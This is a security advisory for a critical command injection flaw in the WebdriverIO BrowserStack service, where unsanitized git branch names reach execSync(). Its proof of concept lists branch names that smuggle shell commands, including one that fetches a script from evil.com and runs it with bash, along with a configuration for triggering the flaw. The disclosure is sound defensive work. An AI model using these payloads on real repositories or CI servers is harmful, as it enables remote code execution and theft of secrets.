GHSA-5c46-x3qw-q7j7CriticalCVSS 9.8

WebdriverIO BrowserStack Service has a Command Injection issue

Published
May 11, 2026
Last Modified
May 19, 2026

🔗 CVE IDs covered (1)

📋 Description

### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)

🎯 Affected products1

  • npm/@wdio/browserstack-service:<= 9.23.2

🔗 References (5)